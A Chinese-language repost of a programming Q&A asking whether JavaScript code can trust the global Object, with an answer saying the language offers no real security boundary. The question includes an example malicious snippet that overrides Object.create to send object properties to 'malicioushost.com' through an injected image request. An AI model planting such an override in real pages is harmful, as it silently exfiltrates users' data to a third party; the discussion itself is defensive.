Is it safe to rely on global native objects in JavaScript, particularly the Object one?(在JavaScript中依赖全局原生对象,尤其是对象对象安全吗?)
问题描述
首先,我知道,依赖Array
构造函数通常是不受欢迎的,因为它可以被其他代码重新赋值,这不是严格模式,而应该使用数组文字[]
,在这种情况下,他总是依赖本机的实数组(还有一些其他含义,但这是主要的)
但是如何处理Object
呢?有一些方法(create
、freeze
等)。只能通过Object
标识符访问。
我查看了AngularJS和SAW的源代码,那里的作者依赖于这些对象(Object
、Function
)不会被重新分配的假设,所以我得出的结论是没有更好的方法。但是我想听听更有经验的人的意见。
所以问题是:如何保护自己打算与其他javascript代码并列使用的代码不受重新分配的全局本机对象的影响?
更新
我的问题是关于安全问题。所以它是关于开发人员不能假设的情况:
- 如果重新分配对象,则其他对象将无法正常工作,因此不用担心
- 站点管理员将正确测试他在其站点上包含的内容
- 如果对象有某个方法,并且返回预期的结果,则一切正常
请以此为例:
// the malicious code
var oldObj = Object,
Object = {
create: function(proto) {
var secretProps = 'http://malicioushost.com/?'
for (var prop in proto) {
secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
}
var secretImg = document.createElement('img')
secretImg.src = secretProps
document.body.appendChild(secretImg)
return oldObj.create.call(oldObj, proto)
}
}
// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})
此处Object.Create的行为与原始对象完全相同
衷心感谢。
推荐答案
首先,我知道依赖Array构造函数通常不受欢迎,因为它可以被其他代码重新赋值
没有。Array
构造函数不受欢迎的原因是它比仅仅说[]
不必要地冗长,而且接口也不一致,令人困惑。(具体地说,如果x
是一个数字,则new Array(x).length
为x
,如果x
是数字,则1
为.ugh.)
有些库试图获取它们自己的某些全局变量的副本,以便在主页恰好定义了它自己的名为Object
或undefined
的变量时,它们仍然可以工作,但无论如何它都不是无懈可击的。
如何保护自己打算与其他javascript代码并行使用的代码不受重新分配的全局本机对象的影响?
这不是一个可解决的问题。JavaScript没有提供足够的工具来建立有效的安全边界。几乎所有对象、方法和属性都可能遭到破坏。
(不管怎样,在语言层面.通过浏览器,您可以使用跨域框架/沙箱postMessage
等在不同的上下文中保存代码。但是,如果用户与之交互的界面元素发生在受损的顶层页面上,仍然不太可能有太大帮助。)
这篇关于在JavaScript中依赖全局原生对象,尤其是对象对象安全吗?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持编程学习网!
本文标题为:在JavaScript中依赖全局原生对象,尤其是对象对象安全吗?


基础教程推荐
- 悬停时滑动输入并停留几秒钟 2022-01-01
- 我什么时候应该在导入时使用方括号 2022-01-01
- Karma-Jasmine:如何正确监视 Modal? 2022-01-01
- 当用户滚动离开时如何暂停 youtube 嵌入 2022-01-01
- 有没有办法使用OpenLayers更改OpenStreetMap中某些要素 2022-09-06
- 响应更改 div 大小保持纵横比 2022-01-01
- 角度Apollo设置WatchQuery结果为可用变量 2022-01-01
- 在for循环中使用setTimeout 2022-01-01
- 动态更新多个选择框 2022-01-01
- 在 JS 中获取客户端时区(不是 GMT 偏移量) 2022-01-01